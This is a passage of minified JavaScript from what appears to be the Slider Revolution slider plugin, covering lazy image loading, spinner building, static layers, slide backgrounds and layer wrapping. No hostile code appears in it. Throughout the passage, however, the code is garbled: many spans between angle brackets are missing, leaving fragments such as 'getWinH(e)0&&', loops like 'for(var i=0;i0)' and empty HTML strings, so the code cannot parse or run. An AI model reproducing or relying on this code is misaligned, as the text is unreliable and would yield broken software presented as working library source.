eft=a[e].outNavDims.left,a[e].redraw.slayers=!0),s&&a[e].modal.calibration!==t&&"middle"===a[e].modal.vertical&&(a[e].modal.calibration.top=a.getWinH(e)0&&(a.loadImages(t,e,2),a.waitForCurrentImages(t,e,function(){}))}},lazyLoadAllSlides:function(e){if("all"==a[e].lazyType&&!0!==a[e].lazyLoad_AllDone&&(a[e].viewPort.enable&&a[e].inviewport||!a[e].viewPort.enable)){for(var t in a[e].slides)a[e].slides.hasOwnProperty(t)&&(a.loadImages(a[e].slides[t],e,t),a.waitForCurrentImages(a[e].slides[t],e,function(){}));a[e].lazyLoad_AllDone=!0}},getFullscreenOffsets:function(i){var r=0;if(a[i].fullScreenOffsetContainer!=t){var o=(""+a[i].fullScreenOffsetContainer).split(",");for(var s in o)o.hasOwnProperty(s)&&(r+=e(o[s]).outerHeight(!0)||0)}return a[i].fullScreenOffset!=t&&(!a.isNumeric(a[i].fullScreenOffset)&&a[i].fullScreenOffset.split("%").length>1?r+=a.getWinH(i)*parseInt(a[i].fullScreenOffset,0)/100:a.isNumeric(parseInt(a[i].fullScreenOffset,0))&&(r+=parseInt(a[i].fullScreenOffset,0)||0)),a[i].fullScreenOffsetResult=r,r},unToggleState:function(e){if(e!==t)for(var i=0;i0)for(var i=0;i=0?r.classList.remove("rs-tc-active"):r.classList.add("rs-tc-active"))}},lastToggleState:function(e){var i;if(e!==t)for(var a=0;a=0||i}return i},revCheckIDS:function(i,r){if(a.gA(r,"idcheck")===t){var o=r.id,s=e.inArray(r.id,window.RSANYID),n=-1;-1!==s&&(n=e.inArray(r.id,a[i].anyid),window.RSANYID_sliderID[s]===i&&-1===n||(r.id=r.id+"_"+Math.round(9999*Math.random()),console.log("Warning - ID:"+o+" exists already. New Runtime ID:"+r.id),s=n=-1)),-1===n&&a[i].anyid.push(r.id),-1===s&&(window.RSANYID.push(r.id),window.RSANYID_sliderID.push(i))}return a.sA(r,"idcheck",!0),r.id},buildSpinner:function(i,a,r,o){var s;if("off"!==a){o=o===t?"":o,r=r===t?"#ffffff":r;var n=parseInt(a.replace("spinner",""),10);if(isNaN(n)||n<6){var l='style="background-color:'+r+'"',d=o===t||3!==n&&4!=n?"":l;s=e("
            ')}else{var c,p='
            2&&(c="rgba("+c[0].trim()+", "+c[1].trim()+", "+c[2].trim()+", "),c&&"string"==typeof c&&(p+=' style="border-top-color: '+c+"0.65); border-bottom-color: "+c+"0.15); border-left-color: "+c+"0.65); border-right-color: "+c+'0.15)"');else 12===n&&(p+=' style="background:'+r+'"');p+=">";for(var g=[10,0,4,2,5,9,0,4,4,2][n-6],u=0;u0&&(p+=" "),p+='';s=e(''+(p+="
            ")+"
            ")}return s}},addStaticLayerTo:function(e,t,i){if(a[e].slayers.length<2){var r=document.createElement("rs-static-layers");r.className="rs-stl-"+t,r.appendChild(i[0]),a[e].c[0].appendChild(r),a[e].slayers.push(r)}else a[e].slayers[1].appendChild(i[0])}});var r=function(){return a.isIE11()?function(e,t){return e.querySelectorAll(t)}:function(e,t){return e.getElementsByTagName(t)}},o=function(e){a[e].responsiveLevels=a.revToResp(a[e].responsiveLevels,a[e].rle),a[e].visibilityLevels=a.revToResp(a[e].visibilityLevels,a[e].rle),a[e].responsiveLevels[0]=9999,a[e].rle=a[e].responsiveLevels.length||1,a[e].gridwidth=a.revToResp(a[e].gridwidth,a[e].rle),a[e].gridheight=a.revToResp(a[e].gridheight,a[e].rle),a[e].editorheight!==t&&(a[e].editorheight=a.revToResp(a[e].editorheight,a[e].rle)),a.updateDims(e)},s=function(t,i){var a=[];return e.each(t,function(e,t){e!=i&&a.push(t)}),a},n=function(t,i,r){a[r].c.find(t).each(function(){var t=e(this);t.data("key")===i&&t.remove()})},l=function(e,i){if(a["rsfont_"+e]==t&&(a["rsfont_"+e]=document.createElement("span"),a["rsfont_"+e].innerHTML=Array(100).join("wi"),a["rsfont_"+e].style.cssText=["position:absolute","width:auto","font-size:128px","left:-99999px"].join(" !important;"),a["rsfont_"+e].style.fontFamily=e,document.body.appendChild(a["rsfont_"+e])),i===t)return a["rsfont_"+e].clientWidth;document.body.removeChild(a["rsfont_"+e])},d=function(t,i){var a=0;return t.find(i).each(function(){var t=e(this);!t.hasClass("tp-forcenotvisible")&&a');else{window._rs_firefox13=!1,window._rs_firefox=a.isFirefox(),window._rs_ie=window._rs_ie===t?!e.support.opacity:window._rs_ie,window._rs_ie9=window._rs_ie9===t?9==document.documentMode:window._rs_ie9;var r=e.fn.jquery.split("."),o=parseFloat(r[0]),s=parseFloat(r[1]);1==o&&s<7&&a[i].c.html('
            The Current Version of jQuery:'+r+"
            Please update your jQuery Version to min. 1.7 in Case you wish to use the Revolution Slider Plugin
            "),o>1&&(window._rs_ie=!1),a[i].realslideamount=a[i].slideamount=0;var n=a.getByTag(a[i].canvas[0],"RS-SLIDE"),l=[];for(var d in a[i].notInNav=[],a[i].slides=[],n)n.hasOwnProperty(d)&&("on"==a.gA(n[d],"hsom")&&a.ISM?l.push(n[d]):(a.gA(n[d],"invisible")||1==a.gA(n[d],"invisible")?a[i].notInNav.push(n[d]):(a[i].slides.push(n[d]),a[i].slideamount++),a[i].realslideamount++,a.sA(n[d],"originalindex",a[i].realslideamount),a.sA(n[d],"origindex",a[i].realslideamount-1)));for(d in l)l.hasOwnProperty(d)&&l[d].remove();for(d in a[i].notInNav)a[i].notInNav.hasOwnProperty(d)&&(a.sA(a[i].notInNav[d],"not_in_nav",!0),a[i].canvas[0].appendChild(a[i].notInNav[d]));if(a[i].canvas.css({visibility:"visible"}),a[i].slayers=a[i].c.find("rs-static-layers"),a[i].slayers[0]&&a[i].slayers.className&&-1!==a[i].slayers[0].className.indexOf("rs-stl-visible")&&a[i].c.addClass("rs-stl-visible"),a[i].slayers.length>0&&a.sA(a[i].slayers[0],"key","staticlayers"),!0===a[i].modal.useAsModal&&(a[i].cpar.wrap(''),a[i].modal.c=e(a.closestNode(a[i].cpar[0],"RS-MODAL")),a[i].modal.c.appendTo(e("body")),a[i].modal!==t&&a[i].modal.alias!==t&&a.revModal(i,{mode:"init"})),1==a[i].waitForInit||1==a[i].modal.useAsModal)return a.RS_toInit!==t&&(a.RS_toInit[i]=!0),a[i].c.trigger("revolution.slide.waitingforinit"),void(a[i].waitingForInit=!0);window.requestAnimationFrame(function(){h(i)}),a[i].initEnded=!0}},p=function(){e("body").data("rs-fullScreenMode",!e("body").data("rs-fullScreenMode")),e("body").data("rs-fullScreenMode")&&setTimeout(function(){a.window.trigger("resize")},200)},g=function(e,i,r){return a.gA(e,"lazyload")!==t?a.gA(e,"lazyload"):a[r].lazyloaddata!==t&&a[r].lazyloaddata.length>0&&a.gA(e,a[r].lazyloaddata)!==t?a.gA(e,a[r].lazyloaddata):a.gA(e,"lazy-src")!==t?a.gA(e,"lazy-src"):a.gA(e,"lazy-wpfc-original-src")!==t?a.gA(e,"lazy-wpfc-original-src"):a.gA(e,"lazy")!==t?a.gA(e,"lazy"):i},u=function(t,i){return e(0==i?t:1==i?t.parentNode:2==i?t.parentNode.parentNode:3==i?t.parentNode.parentNode.parentNode:4==i?t.parentNode.parentNode.parentNode.parentNode:t.parentNode.parentNode.parentNode.parentNode.parentNode)},h=function(i){if(a[i]!==t){a[i].sliderisrunning=!0,!0!==a[i].noDetach&&a[i].c.detach();var r=a[i].canvas.find("rs-slide:first-child");if(a[i].shuffle){for(var o=a.gA(r[0],"firstanim"),s=0;s0&&tpGS.gsap.set(c,{borderRadius:l+"px"}),a.gA(c,"link")!=t||a.gA(c,"linktoslide")!==t){var w=a.gA(c,"link"),b=w!==t?w:"slide",_="slide"!=b?"no":a.gA(c,"linktoslide"),S=a.gA(c,"seoz"),x=a.gA(c,"tag");if(_!=t&&"no"!=_&&"next"!=_&&"prev"!=_)for(var k in a[i].slides)a[i].slides.hasOwnProperty(k)&&parseInt(a.gA(a[i].slides[k],"origindex"),0)+1==a.gA(c,"linktoslide")&&(_=a.gA(a[i].slides[k],"key"));"slide"==b||"a"!=x?e(c).prepend('"+(a.ISM?"":"")+""):e(c).prepend('')}n++}if(a[i].simplifyAll&&(a.isIE(8)||a.iOSVersion())&&(a[i].c.find(".rs-layer").each(function(){var t=e(this);t.removeClass("customin customout").addClass("fadein fadeout"),t.data("splitin",""),t.data("speed",400)}),a[i].c.find("rs-slide").each(function(){var t=e(this);t.data("transition","fade"),t.data("masterspeed",500),t.data("slotamount",1),(t.find(".rev-slidebg")||t.find(">img").first()).data("panzoom",null)})),window._rs_desktop=window._rs_desktop===t?!navigator.userAgent.match(/(iPhone|iPod|iPad|Android|BlackBerry|BB10|mobi|tablet|opera mini|nexus 7)/i):window._rs_desktop,a[i].autoHeight="fullscreen"==a[i].sliderLayout||a[i].autoHeight,"fullwidth"!=a[i].sliderLayout||a[i].autoHeight||"carousel"===a[i].sliderType&&"v"===a[i].carousel.orientation||a[i].c.css({maxHeight:a[i].gridheight[a[i].level]+"px"}),"auto"==a[i].sliderLayout||null!==a.closestNode(a[i].c[0],"RS-FULLWIDTH-WRAP")||"fullscreen"===a[i].sliderLayout&&1==a[i].disableForceFullWidth)a[i].topc=a[i].cpar;else{var L=a[i].cpar[0].style.marginTop,O=a[i].cpar[0].style.marginBottom;a[i].rsFullWidthWrapMarginBottom=parseInt(O,0),L=L===t||""===L?"":"margin-top:"+L+";",O=O===t||""===O?"":"margin-bottom:"+O+";",a[i].rsFullWidthWrap=a[i].topc=e(''),a[i].forcer=e(''),a[i].topc.append(a[i].forcer),a[i].topc.insertBefore(a[i].cpar),a[i].cpar.detach(),a[i].cpar.css({marginTop:"0px",marginBottom:"0px",position:"absolute"}),a[i].cpar.prependTo(a[i].topc)}if(a[i].forceOverflow?a[i].topc[0].classList.add("rs-forceoverflow"):"3D"===a[i].parallax.type&&a[i].topc[0].classList.add("rs-parallax-hidden-of"),"carousel"===a[i].sliderType&&!0!==a[i].overflowHidden&&a[i].c.css({overflow:"visible"}),0!==a[i].maxHeight&&tpGS.gsap.set([a[i].cpar,a[i].c,a[i].topc],{maxHeight:a[i].maxHeight+"px"}),a[i].fixedOnTop&&tpGS.gsap.set(a[i].blockSpacing!==t&&a[i].blockSpacing.block!==t?a[i].blockSpacing.block:a[i].topc,{position:"fixed",top:"0px",left:"0px",pointerEvents:"none",zIndex:5e3}),a[i].shadow!==t&&a[i].shadow>0&&a[i].cpar.addClass("tp-shadow"+a[i].shadow).append('
            '),a.updateDims(i,"prepared"),a.observeWraps===t&&(a.observeWraps=new a.wrapObserver.init(function(e,i){v(i,t,!0)})),!a[i].c.hasClass("revslider-initialised")){a[i].c[0].classList.add("revslider-initialised"),a[i].c[0].id=a[i].c[0].id===t?"revslider-"+Math.round(1e3*Math.random()+5):a[i].c[0].id,a.revCheckIDS(i,a[i].c[0]),a[i].origcd=parseInt(a[i].duration,0),a[i].scrolleffect._L=[],a[i].sbas=a[i].sbas===t?{}:a[i].sbas,a[i].layers=a[i].layers||{},a[i].sortedLayers=a[i].sortedLayers||{};var R=a[i].c[0].querySelectorAll("rs-layer, rs-row, rs-column, rs-group, rs-bgvideo, .rs-layer");for(var I in R)if(R.hasOwnProperty(I)){!a.ISM&&R[I].classList.contains("iospermaccwait")&&R[I].remove();var M,T,C=e(R[I]),A=C.data();if(A.startclasses=R[I].className,A.startclasses=A.startclasses===t||null===A.startclasses?"":A.startclasses,A.animationonscroll=!!a[i].sbtimeline.set&&a[i].sbtimeline.layers,A.animationonscroll=!0===A.animationonscroll||"true"==A.animationonscroll,A.filteronscroll=!!a[i].scrolleffect.set&&a[i].scrolleffect.layers,A.pxundermask=A.startclasses.indexOf("rs-pxmask")>=0&&"off"!==a[i].parallax.type&&A.startclasses.indexOf("rs-pxl-")>=0,A.noPevents=A.startclasses.indexOf("rs-noevents")>=0,A.sba)for(var f in M=A.sba.split(";"))M.hasOwnProperty(f)&&("t"==(T=M[f].split(":"))[0]&&(A.animationonscroll=T[1],"false"==T[1]&&(A.animOnScrollForceDisable=!0)),"e"==T[0]&&(A.filteronscroll=T[1]),"so"==T[0]&&(A.scrollBasedOffset=parseInt(T[1])/1e3));if("true"!=A.animationonscroll&&1!=A.animationonscroll||(A.startclasses+=" rs-sba",C[0].className+=" rs-sba"),A.startclasses.indexOf("rs-layer-static")>=0&&a.handleStaticLayers&&a.handleStaticLayers(C,i),"RS-BGVIDEO"!==C[0].tagName){if(C[0].classList.add("rs-layer"),"column"===A.type&&(A.columnwidth="33.33%",A.verticalalign="top",A.column!==t))for(var D in M=A.column.split(";"))M.hasOwnProperty(D)&&("w"===(T=M[D].split(":"))[0]&&(A.columnwidth=T[1]),"a"===T[0]&&(A.verticalalign=T[1]));if("group"===A.type&&(A.verticalalign="top",A.column!==t))for(var D in M=A.column.split(";"))M.hasOwnProperty(D)&&"a"===(T=M[D].split(":"))[0]&&(A.verticalalign=T[1]);var P=A.startclasses.indexOf("slidelink")>=0?"z-index:"+A.zindex+";width:100% !important;height:100% !important;":"",B="column"!==A.type&&"group"!==A.type?"":A.verticalalign===t?" vertical-align:top;":" vertical-align:"+A.verticalalign+";",H="row"===A.type||"column"===A.type||"r"===A.pos?"position:relative;":"position:absolute;",z="",W="row"===A.type?"rs-row-wrap":"column"===A.type?"rs-column-wrap":"group"===A.type?"rs-group-wrap":"rs-layer-wrap",E="",N="",j=(A.noPevents,";pointer-events:none");"row"===A.type||"column"===A.type||"group"===A.type?(C[0].classList.remove("tp-resizeme"),"column"===A.type&&(A.width="auto",C[0].group="row",tpGS.gsap.set(C,{width:"auto"}),A.filteronscroll=!1)):(E="display:"+("inline-block"===C[0].style.display?"inline-block":"block")+";",null!==a.closestNode(C[0],"RS-COLUMN")?(C[0].group="column",A.filteronscroll=!1):null!==a.closestNode(C[0],"RS-GROUP-WRAP")&&(C[0].group="group",A.filteronscroll=!1)),A.wrpcls!==t&&(z=z+" "+A.wrpcls),A.wrpid!==t&&(N='id="'+A.wrpid+'"'),A.thFixed=A.wrpcls!==t&&A.wrpcls.includes("th-fixed")||A.startclasses!==t&&A.startclasses.includes("ddd_mousebox"),A.reqWrp={loop:!(1!=a[i].rtl&&!A.thFixed&&A.loop_0===t&&A.loop_999===t),level:{m:0,lp:0,p:0}},A.perspFix=window.isSafari11&&(A.btrans!==t&&A.btrans.includes("iosfx:p")||"carousel"===a[i].sliderType),A.reqWrp.mask=!!(A.perspFix||A.reqWrp.loop||1==a[i].rtl||A.pxundermask||A.thFixed||A.btrans!==t||A.frame_hover!==t&&A.frame_hover.includes("m:t")||A.clip!==t||A.sba!==t||A.frame_0_sfx!==t||A.frame_1_sfx!==t||A.frame_999_sfx!==t||A.frame_0_mask!==t||A.frame_1_mask!==t||A.frame_2_mask!==t||A.frame_3_mask!==t||A.frame_4_mask!==t||A.frame_999_mask!==t),A.reqWrp.level.m=A.pxundermask?2:A.reqWrp.mask?1:0,A.reqWrp.level.lp=A.reqWrp.level.m+(A.reqWrp.loop?1:0),A.reqWrp.level.p=A.reqWrp.level.lp+1,A.perspFix&&(P+="transform:perspective(600px);"),C.wrap("<"+W+" "+N+' class="rs-parallax-wrap '+z+'" style="'+B+" "+P+H+E+j+'">'+(A.reqWrp.loop?'':"")+(A.reqWrp.mask?'':"")+(A.pxundermask?"":"")+(A.reqWrp.mask?"":"")+(A.reqWrp.loop?"":"")+""),!0!==A.filteronscroll&&"true"!=A.filteronscroll||a[i].scrolleffect._L.push(C.parent()),C[0].id=C[0].id===t?"layer-"+Math.round(999999999*Math.random()):C[0].id,a.revCheckIDS(i,C[0]),a[i]._Lshortcuts[C[0].id]={p:u(C[0],A.reqWrp.level.p),lp:u(C[0],A.reqWrp.level.lp),m:u(C[0],A.reqWrp.level.m)},"column"!==A.type||""==C[0].style.background&&""===C[0].style.backgroundColor&&""===C[0].style.backgroundImage&&A.border===t?A.cbgexists=!1:(a[i]._Lshortcuts[C[0].id].p.append(''),A.cbgexists=!0),"text"===A.type&&a.getByTag(C[0],"IFRAME").length>0&&(a[i].slideHasIframe=!0,C[0].classList.add("rs-ii-o")),a[i].BUG_safari_clipPath&&"true"!=A.animationonscroll&&1!=A.animationonscroll&&C[0].classList.add("rs-pelock"),C[0].dataset.staticz!==t&&"row"!==A.type&&"row"!==C[0].group&&"column"!==C[0].group&&a.addStaticLayerTo(i,C[0].dataset.staticz,a[i]._Lshortcuts[C[0].id].p)}a.gA(C[0],"actions")&&a.checkActions&&a.checkActions(C,i,a[i]),!a.checkVideoApis||window.rs_addedvim&&window.rs_addedyt||a[i].youtubeapineeded&&a[i].vimeoapineeded||a.checkVideoApis(C,i)}a.checkActions&&a.checkActions(t,i),a[i].c[0].addEventListener("mousedown",function(){if(!0!==a[i].onceClicked&&(a[i].onceClicked=!0,!0!==a[i].onceVideoPlayed&&a[i].activeRSSlide!==t&&a[i].slides!==t&&a[i].slides[a[i].activeRSSlide]!==t)){var r=e(a[i].slides[a[i].activeRSSlide]).find("rs-bgvideo");r!==t&&null!==r&&r.length>0&&a.playVideo(r,i)}}),a[i].c[0].addEventListener("mouseenter",function(){a[i].c.trigger("tp-mouseenter"),a[i].overcontainer=!0},{passive:!0}),a[i].c[0].addEventListener("mouseover",function(){a[i].c.trigger("tp-mouseover"),a[i].overcontainer=!0},{passive:!0}),a[i].c[0].addEventListener("mouseleave",function(){a[i].c.trigger("tp-mouseleft"),a[i].overcontainer=!1},{passive:!0}),a[i].c.find(".rs-layer video").each(function(t){var i=e(this);i.removeClass("video-js vjs-default-skin"),i.attr("preload",""),i.css({display:"none"})}),a[i].rs_static_layer=a.getByTag(a[i].c[0],"RS-STATIC-LAYERS"),a.preLoadAudio&&a[i].rs_static_layer.length>0&&a.preLoadAudio(e(a[i].rs_static_layer),i,1),a[i].rs_static_layer.length>0&&(a.loadImages(a[i].rs_static_layer[0],i,0,!0),a.waitForCurrentImages(a[i].rs_static_layer[0],i,function(){a[i]!==t&&a[i].c.find("rs-static-layers img").each(function(){this.src=a.getLoadObj(i,a.gA(this,"src")!=t?a.gA(this,"src"):this.src).src})})),a[i].rowzones=[],a[i].rowzonesHeights=[],a[i].topZones=[],a[i].middleZones=[],a[i].bottomZones=[],a[i].rowMiddleHeights={};var V=a.deepLink(i,F("#")[0]);V!==t&&(a[i].startWithSlide=V,a[i].deepLinkListener=!0,window.addEventListener("hashchange",function(){if(!0!==a[i].ignoreDeeplinkChange){var e=a.deepLink(i,F("#")[0]);e!==t&&a.callingNewSlide(i,e,!0)}a[i].ignoreDeeplinkChange=!1})),a[i].loader=a.buildSpinner(i,a[i].spinner,a[i].spinnerclr),a[i].loaderVisible=!0,a[i].c.append(a[i].loader),y(i),("off"!==a[i].parallax.type||a[i].scrolleffect.set||a[i].sbtimeline.set)&&a.checkForParallax&&a.checkForParallax(i),a[i].fallbacks.disableFocusListener||"true"==a[i].fallbacks.disableFocusListener||!0===a[i].fallbacks.disableFocusListener||(a[i].c.addClass("rev_redraw_on_blurfocus"),G());var X=a[i].viewPort;for(var f in"on"===a[i].navigation.mouseScrollNavigation&&(X.enable=!0),a[i].slides)if(a[i].slides.hasOwnProperty(f)){var U=e(a[i].slides[f]);a[i].rowzones[f]=[],a[i].rowzonesHeights[f]=[],a[i].topZones[f]=[],a[i].middleZones[f]=[],a[i].bottomZones[f]=[],U.find("rs-zone").each(function(){a[i].rowzones[f].push(e(this)),this.className.indexOf("rev_row_zone_top")>=0&&a[i].topZones[f].push(this),this.className.indexOf("rev_row_zone_middle")>=0&&(a[i].middleZones[f].push(this),this.dataset.middle="true"),this.className.indexOf("rev_row_zone_bottom")>=0&&a[i].bottomZones[f].push(this)})}a.lazyLoadAllSlides(i),a[i].srowzones=[],a[i].smiddleZones=[],a[i].slayers&&a[i].slayers.find("rs-zone").each(function(){a[i].srowzones.push(e(this)),this.className.indexOf("rev_row_zone_middle")>=0&&(a[i].smiddleZones.push(this),this.dataset.middle="true")}),"carousel"===a[i].sliderType&&tpGS.gsap.set(a[i].canvas,{scale:1,perspective:1200,transformStyle:"flat",opacity:0}),a[i].c.prependTo(a[i].cpar),e("body").data("rs-fullScreenMode",!1),window.addEventListener("fullscreenchange",p,{passive:!0}),window.addEventListener("mozfullscreenchange",p,{passive:!0}),window.addEventListener("webkitfullscreenchange",p,{passive:!0}),a.document.on("updateContainerSizes."+a[i].c.attr("id"),function(){if(a[i]!==t)return a[i].c!=t&&void(a.updateDims(i,"ignore")&&window.requestAnimationFrame(function(){a.updateDims(i,"ignore"),a[i].fullScreenMode=a.checkfullscreenEnabled(i),a.lastwindowheight=a.getWinH(i),v(i)}))}),X.presize&&(a[i].pr_next_slide=e(a[i].slides[0]),a.loadImages(a[i].pr_next_slide[0],i,0,!0),a.waitForCurrentImages(a[i].pr_next_slide.find(".tp-layers"),i,function(){a.animateTheLayers&&a.animateTheLayers({slide:a[i].pr_next_key,id:i,mode:"preset",caller:"runSlider"})})),("off"!=a[i].parallax.type||a[i].sbtimeline.set||!0===X.enable)&&a.scrollTicker(i),!0!==X.enable&&(a[i].inviewport=!0,a.enterViewPort(i)),a.RS_toInit!==t&&(a.RS_toInit[i]=!0),a[i].observeWrap&&a.observeWraps&&a.wrapObserver.observe(a[i].rsFullWidthWrap!==t?a[i].rsFullWidthWrap[0]:a[i].cpar[0],i)}}},m=function(e,i){a.winW'),a[i].cpar.prepend("").append(""),a.defineCarouselElements(i)}a[i].startWithSlide=a[i].startWithSlide===t?t:Math.max(1,(a[i].sliderType,parseInt(a[i].startWithSlide))),a[i].cpar.css({overflow:"visible"}),a[i].scrolleffect.bgs=[];for(var s=0;simg"),c=a[i].sbgs[l]=w(d.data(),i),p=n.data("mediafilter");if(c.skeyindex=a.getSlideIndex(i,l),c.bgvid=n.find("rs-bgvideo"),d.detach(),c.bgvid.detach(),(a[i].startWithSlide!=t&&a.gA(a[i].slides[s],"originalindex")==a[i].startWithSlide||a[i].startWithSlide===t&&0==s)&&(a[i].pr_next_key=a[i].carousel.focused=n.index()),tpGS.gsap.set(n,{width:"100%",height:"100%",overflow:r}),d.wrap(''),c.wrap=e(a.closestNode(d[0],"RS-SBG-WRAP")),c.src=d[0].src,c.lazyload=c.lazyload=g(d[0],t,i),c.slidebgimage=!0,c.loadobj=c.loadobj===t?{}:c.loadobj,c.mediafilter=p="none"===p||p===t?"":p,c.sbg=document.createElement("rs-sbg"),a[i].overlay!==t&&"none"!=a[i].overlay.type&&a[i].overlay.type!=t){var u=a.createOverlay(i,a[i].overlay.type,a[i].overlay.size,{0:a[i].overlay.colora,1:a[i].overlay.colorb}),h=document.createElement("rs-dotted");h.style.backgroundImage=u,c.wrap.append(h),c.overlay=h}d.data("mediafilter",p),c.canvas=document.createElement("canvas"),c.sbg.appendChild(c.canvas),c.canvas.style.width="100%",c.canvas.style.height="100%",c.ctx=c.canvas.getContext("2d"),c.lazyload!==t&&(c.sbg.dataset.lazyload=c.lazyload),c.sbg.className=p,c.sbg.src=c.src,c.sbg.dataset.bgcolor=c.bgcolor,c.sbg.style.width="100%",c.sbg.style.height="100%",c.key=l,c.wrap[0].dataset.key=l,e(c.sbg).data(c),c.wrap.data(c),c.wrap[0].appendChild(c.sbg);var m=document.createComment("Runtime Modification - Img tag is Still Available for SEO Goals in Source - "+d.get(0).outerHTML);d.replaceWith(m),a.gA(n[0],"sba")===t&&a.sA(n[0],"sba","");var v={},f=a.gA(n[0],"sba").split(";");for(var y in f)if(f.hasOwnProperty(y)){var b=f[y].split(":");switch(b[0]){case"f":v.f=b[1];break;case"b":v.b=b[1];break;case"g":v.g=b[1];break;case"t":v.s=b[1]}}a.sA(n[0],"scroll-based",!!a[i].sbtimeline.set&&(v.s!==t&&v.s)),c.bgvid.length>0&&(c.bgvidid=c.bgvid[0].id,c.animateDirection="idle",c.bgvid.addClass("defaultvid").css({zIndex:30}),p!==t&&""!==p&&"none"!==p&&c.bgvid.addClass(p),c.bgvid.appendTo(c.wrap),c.parallax!=t&&(c.bgvid.data("parallax",c.parallax),c.bgvid.data("showcoveronpause","on"),c.bgvid.data("mediafilter",p)),c.poster=!1,(c.src!==t&&-1==c.src.indexOf("assets/dummy.png")&&-1==c.src.indexOf("assets/transparent.png")||c.lazyload!==t&&-1==c.lazyload.indexOf("assets/transparent.png")&&-1==c.lazyload.indexOf("assets/dummy.png"))&&(c.poster=!0),c.bgvid.data("bgvideo",1),c.bgvid[0].dataset.key=l,0==c.bgvid.find(".rs-fullvideo-cover").length&&c.bgvid.append('
            ')),a[i].scrolleffect.set?(a[i].scrolleffect.bgs.push({fade:v.f!==t?v.f:!!a[i].scrolleffect.slide&&a[i].scrolleffect.fade,blur:v.b!==t?v.b:!!a[i].scrolleffect.slide&&a[i].scrolleffect.blur,grayscale:v.g!==t?v.g:!!a[i].scrolleffect.slide&&a[i].scrolleffect.grayscale,c:c.wrap.wrap("").parent()}),n.prepend(c.wrap.parent().parent())):n.prepend(c.wrap.parent())}"carousel"===a[i].sliderType?(tpGS.gsap.set(a[i].carousel.wrap,{opacity:0}),a[i].c[0].appendChild(a[i].carousel.wrap[0])):a[i].c[0].appendChild(a[i].canvas[0])},w=function(i,r){i.bg=i.bg===t?"":i.bg;var o=i.bg.split(";"),s={bgposition:"50% 50%",bgfit:"cover",bgrepeat:"no-repeat",bgcolor:"transparent"};for(var n in o)if(o.hasOwnProperty(n)){var l=o[n].split(":"),d=l[0],c=l[1],p="";switch(d){case"p":p="bgposition";break;case"f":p="bgfit";break;case"r":p="bgrepeat";break;case"c":p="bgcolor"}p!==t&&(s[p]=c)}return a[r].fallbacks.panZoomDisableOnMobile&&a.ISM&&(s.panzoom=t,s.bgfit="cover",i.panzoom=t),e.extend(!0,i,s)},b=function(e,i,r){if(a[i]!==t){a[i].syncload--;var o=a.gA(e,"reference");for(var s in a[i].loadqueue)a[i].loadqueue.hasOwnProperty(s)&&"loaded"!==a[i].loadqueue[s].progress&&o==a[i].loadqueue[s].src&&(a[i].loadqueue[s].img=e,a[i].loadqueue[s].progress=r,a[i].loadqueue[s].width=e.naturalWidth,a[i].loadqueue[s].height=e.naturalHeight);_(i)}},_=function(i){4!=a[i].syncload&&a[i].loadqueue&&e.each(a[i].loadqueue,function(r,o){if("prepared"==o.progress&&a[i].syncload<=4){if(a[i].syncload++,"img"==o.type){var s=new Image;a.sA(s,"reference",o.src),!/^([\w]+\:)?\/\//.test(o.src)||-1!==o.src.indexOf(location.host)&&-1===o.src.indexOf("."+location.host)||""===a[i].imgCrossOrigin||a[i].imgCrossOrigin===t||(s.crossOrigin=a[i].imgCrossOrigin),s.onload=function(){b(this,i,"loaded"),o.error=!1},s.onerror=function(){s.failedOnce||(s.failedOnce=!0,delete s.crossOrigin,s.removeAttribute("crossorigin"),s.src=o.src,b(this,i,"failed"),o.error=!0)},s.src=o.src,o.starttoload=Date.now()}else e.get(o.src,function(e){o.innerHTML=(new XMLSerializer).serializeToString(e.documentElement),o.progress="loaded",a[i].syncload--,_(i)}).fail(function(){o.progress="failed",a[i].syncload--,_(i)});o.progress="inload"}})},S=function(e,t){return console.log("Static Image "+e+" Could not be loaded in time. Error Exists:"+t),!0},x=function(e,t){if(Date.now()-a[t][e+"starttime"]>5e3&&1!=a[t][e+"warning"]){a[t][e+"warning"]=!0;var i=e+" Api Could not be loaded !";"https:"===location.protocol&&(i+=" Please Check and Renew SSL Certificate !"),console.error(i),a[t].c.append('
            '+i+"
            ")}return!0},k=function(i){a[i]!==t&&(a[i].pr_active_slide=e(a[i].slides[a[i].pr_active_key]),a[i].pr_next_slide=e(a[i].slides[a[i].pr_processing_key]),a[i].pr_active_bg=a[i].pr_active_slide.find("rs-sbg-wrap"),a[i].pr_next_bg=a[i].pr_next_slide.find("rs-sbg-wrap"),a[i].pr_active_bg!==t&&a[i].pr_active_bg.length>0&&tpGS.gsap.to(a[i].pr_active_bg,.5,{opacity:0}),a[i].pr_next_bg!==t&&a[i].pr_next_bg.length>0&&tpGS.gsap.to(a[i].pr_next_bg,.5,{opacity:0}),tpGS.gsap.set(a[i].pr_active_slide,{zIndex:18}),a[i].pr_next_slide!==t&&a[i].pr_next_slide.length>0&&tpGS.gsap.set(a[i].pr_next_slide,{autoAlpha:0,zIndex:20}),a[i].tonpause=!1,a[i].pr_active_key!==t&&a.removeTheLayers(a[i].pr_active_slide,i,!0),a[i].firststart=1,setTimeout(function(){delete a[i].pr_active_key,delete a[i].pr_processing_key},200))},L=function(i,r,o){if(a[i]!==t)if(clearTimeout(a[i].waitWithSwapSlide),a[i].pr_processing_key===t||!0!==a[i].firstSlideShown){if(clearTimeout(a[i].waitWithSwapSlide),a[i].startWithSlideKey!==t&&(a[i].pr_next_key=a.getComingSlide(i,a[i].startWithSlideKey).nindex,a[i].startedWithOtherSlide=!0,delete a[i].startWithSlideKey),a[i].pr_active_slide=e(a[i].slides[a[i].pr_active_key]),a[i].pr_next_slide=e(a[i].slides[a[i].pr_next_key]),a[i].pr_next_key==a[i].pr_active_key)return delete a[i].pr_next_key;var s=a.gA(a[i].pr_next_slide[0],"key");a[i].sbgs[s]!==t&&a[i].sbgs[s].bgvid&&a[i].sbgs[s].bgvid.length>0&&(a[i].videos==t||a[i].videos[a[i].sbgs[s].bgvid[0].id]===t)&&a.manageVideoLayer(a[i].sbgs[s].bgvid,i,s),a[i].pr_processing_key=a[i].pr_next_key,a[i].pr_cache_pr_next_key=a[i].pr_next_key,delete 